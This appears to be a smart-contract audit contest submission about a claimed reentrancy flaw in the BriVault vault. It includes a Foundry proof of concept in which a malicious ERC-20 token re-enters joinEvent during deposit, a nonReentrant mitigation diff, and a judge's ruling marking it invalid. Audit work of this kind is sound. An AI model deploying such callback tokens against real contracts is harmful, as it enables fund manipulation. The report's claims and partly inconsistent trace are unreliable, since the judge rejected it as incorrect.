BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Missing Reentrancy Protection on External ERC20 Calls Enables State Manipulation via Malicious Token Callbacks

Root + Impact

Description

The contract performs external ERC-20 token calls (e.g., transferFrom / transfer) in multiple public functions without a reentrancy guard or strict checks-effects-interactions ordering. If a token used as asset() implements callbacks (ERC-777 hooks) or is malicious and reenters the vault during transferFrom/transfer, an attacker can invoke public entry points (such as joinEvent, cancelParticipation, or withdraw) mid-execution and observe/modify intermediate state. This can cause stale or zero shares to be recorded, double counting, incorrect refunding, division-by-zero in payout math, or other state corruption leading to incorrect payouts, locked funds, or denial-of-service.

// deposit(...) — external token transfers occur BEFORE minting
function deposit(uint256 assets, address receiver) public override returns (uint256) {
// ... validations and computations
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
@> IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee); // external call
@> IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset); // external call
_mint(msg.sender, participantShares); // internal state finalized after external calls
emit deposited(receiver, stakeAsset);
}
// cancelParticipation() — external transfer after burn, no reentrancy guard
function cancelParticipation() public {
if (block.timestamp >= eventStartDate) revert eventStarted();
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
@> IERC20(asset()).safeTransfer(msg.sender, refundAmount); // external call
}
// withdraw() — external transfer after burn, no reentrancy guard
function withdraw() external winnerSet {
// ... validations
uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
@> IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw); // external call
emit Withdraw(msg.sender, assetToWithdraw);
}

Risk

Likelihood:

  • This issue is medium to high likelihood because the vault directly interacts with external ERC20 tokens through safeTransfer and safeTransferFrom without implementing reentrancy protection. Any ERC777-compatible token or a malicious ERC20 contract with custom callbacks can easily exploit this pattern during token transfer execution.

  • Real-world integrations with unverified or user-supplied tokens significantly increase the probability of such reentrancy attacks, especially in permissionless environments or when future upgrades introduce new assets.

Impact:

  • Successful exploitation allows attackers to re-enter the contract mid-execution, performing unauthorized actions like repeated deposits, withdrawals, or event joins before internal state updates are finalized — leading to fund misaccounting or theft.

  • Even without direct fund loss, reentrancy here can corrupt state variables such as totalWinnerShares, stakedAsset, or numberOfParticipants, potentially resulting in payout miscalculations, frozen withdrawals, or permanent denial-of-service conditions.


Proof of Concept

This proof of concept demonstrates how a malicious ERC-20 token can exploit the absence of a reentrancy guard in the BriVault contract by triggering a callback into joinEvent() during the execution of deposit().

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
/// @notice Minimal malicious ERC20 that calls back into BriVault during transferFrom()
contract MaliciousToken is MockERC20 {
BriVault public vault;
uint256 public callbackCountry;
constructor(string memory name, string memory symbol) MockERC20(name, symbol) {}
/// @notice configure which vault + country index to call during transferFrom
function setCallbackTarget(BriVault _vault, uint256 _countryId) external {
vault = _vault;
callbackCountry = _countryId;
}
/// @notice override transferFrom to invoke vault.joinEvent(...) while transferFrom is executing
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
// call back into vault while the token transfer is in-progress
if (address(vault) != address(0)) {
// best-effort: ignore revert so transferFrom proceeds even if callback fails
try vault.joinEvent(callbackCountry) {} catch {}
}
// then perform the normal ERC20 transferFrom behaviour
return super.transferFrom(from, to, amount);
}
}
contract ReentrancyDepositCallbackTest is Test {
BriVault public briVault;
MaliciousToken public malicious;
string[48] countries;
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address participationFeeAddress = makeAddr("participationFeeAddress");
uint256 participationFeeBsp = 150;
uint256 minimumAmount = 0.0002 ether;
uint256 eventStartDate = block.timestamp + 2 days;
uint256 eventEndDate = eventStartDate + 31 days;
function setUp() public {
// fill countries array (only indices used in test must be non-empty)
countries = [
"United States","Canada","Mexico","Argentina","Brazil","Ecuador",
"Uruguay","Colombia","Peru","Chile","Japan","South Korea",
"Australia","Iran","Saudi Arabia","Qatar","Uzbekistan","Jordan",
"France","Germany","Spain","Portugal","England","Netherlands",
"Italy","Croatia","Belgium","Switzerland","Denmark","Poland",
"Serbia","Sweden","Austria","Morocco","Senegal","Nigeria",
"Cameroon","Egypt","South Africa","Ghana","Algeria","Tunisia",
"Ivory Coast","New Zealand","Costa Rica","Panama","United Arab Emirates","Iraq"
];
// Deploy malicious token and mint to the test participants
malicious = new MaliciousToken("BadToken","BAD");
malicious.mint(user1, 10 ether); // attacker
malicious.mint(user2, 10 ether); // helper depositor
// Deploy a fresh BriVault backed by malicious token (test contract is owner)
briVault = new BriVault(IERC20(address(malicious)), participationFeeBsp, eventStartDate, participationFeeAddress, minimumAmount, eventEndDate);
// owner (this test) must set countries on the local vault
vm.startPrank(address(this));
briVault.setCountry(countries);
vm.stopPrank();
}
/// @notice PoC: show that MaliciousToken can callback into vault.joinEvent during deposit transferFrom
function test_reentrancy_deposit_callback() public {
// 1) Prepare vault state: deposit ON BEHALF of token contract so token address has stakedAsset != 0
vm.startPrank(user2);
malicious.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, address(malicious)); // sets stakedAsset[address(malicious)]
vm.stopPrank();
// 2) Configure malicious token to call joinEvent(10) inside transferFrom()
malicious.setCallbackTarget(briVault, 10);
// 3) Attacker triggers deposit into the same vault using malicious token
vm.startPrank(user1);
malicious.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1); // this will invoke MaliciousToken.transferFrom -> joinEvent(10)
vm.stopPrank();
// 4) Logs: these values prove the callback executed and how vault state was changed
console.log("balanceOf(user1):", briVault.balanceOf(user1));
console.log("userSharesToCountry[malicious][10]:", briVault.userSharesToCountry(address(malicious), 10));
console.log("userToCountry[malicious]:", briVault.userToCountry(address(malicious)));
console.log("totalParticipantShares:", briVault.totalParticipantShares());
console.log("=== REENTRANCY-POC-END ===");
}
}

Observed output

Ran 1 test for test/briVault.t.sol:ReentrancyDepositCallbackTest
[PASS] test_reentrancy_deposit_callback() (gas: 6355158)
Logs:
balanceOf(user1): 4925000000000000000
userSharesToCountry[malicious][10]: 0
userToCountry[malicious]: Japan
totalParticipantShares: 0
=== REENTRANCY-POC-END ===
Traces:
[6394958] ReentrancyDepositCallbackTest::test_reentrancy_deposit_callback()
├─ ... (trace truncated for brevity) ...
├─ MaliciousToken::setCallbackTarget(BriVault: [..], user1: [..], 10)
├─ BriVault::deposit(5 ether, user1) ... (during deposit transferFrom the token called)
│ ├─ BriVault::joinEvent(10) // called from token callback
│ ├─ emit joinedEvent(user: MaliciousToken, _countryId: 10)
│ ├─ BriVault::joinEvent(10) // main transferFrom also triggers joinEvent again
│ ├─ emit joinedEvent(user: MaliciousToken, _countryId: 10)
├─ ... final logs ...
Suite result: ok. 1 passed; 0 failed; 0 skipped;

This PoC demonstrates a successful external-callback (re-entrancy) into BriVault during an ERC-20 transferFrom() performed inside deposit(). The malicious token overrides transferFrom() to call briVault.joinEvent(10) while the vault is mid-way through handling the deposit. The trace and logs show the joinedEvent emits during the token transfer, and userToCountry for the token address becomes "Japan". The vault recorded the token contract as the caller in joinEvent (because msg.sender inside the callback is the token contract), but that token address held 0 BTT shares at the time, so userSharesToCountry[malicious][10] and totalParticipantShares remained zero — therefore this particular run did not produce a direct financial gain for the attacker.


Recommended Mitigation

@@
pragma solidity ^0.8.24;
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Ownable} from "../lib/openzeppelin-contracts/contracts/access/Ownable.sol";
+import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
-contract BriVault is ERC4626, Ownable {
+contract BriVault is ERC4626, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
@@
/**
* @dev allows users to deposit for the event.
*/
- function deposit(uint256 assets, address receiver) public override returns (uint256) {
+ function deposit(uint256 assets, address receiver) public override nonReentrant returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
@@
_mint(msg.sender, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}
/**
* @dev allows users to join the event
*/
- function joinEvent(uint256 countryId) public {
+ function joinEvent(uint256 countryId) public nonReentrant {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
@@
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
/**
* @dev cancel participation
*/
- function cancelParticipation() public {
+ function cancelParticipation() public nonReentrant {
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
@@
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
/**
* @dev allows users to withdraw.
*/
- function withdraw() external winnerSet {
+ function withdraw() external winnerSet nonReentrant {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}

The introduced changes address a reentrancy risk stemming from external ERC-20 calls within critical vault functions such as deposit, joinEvent, cancelParticipation, and withdraw. In the original implementation, these functions interacted with external token contracts through safeTransferFrom while internal state updates were still pending, leaving the contract vulnerable to callback attacks like the one demonstrated in the PoC, where a malicious token triggered joinEvent() during a deposit. By integrating OpenZeppelin’s ReentrancyGuard and marking these functions as nonReentrant, any attempt to re-enter them during execution will now revert automatically. This ensures that state changes are completed atomically and cannot be manipulated mid-transaction, effectively closing the reentrancy window without altering legitimate contract behavior. The mitigation follows industry-standard best practices (Checks-Effects-Interactions + reentrancy guard) and provides a clean, minimal, and production-safe solution.

Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!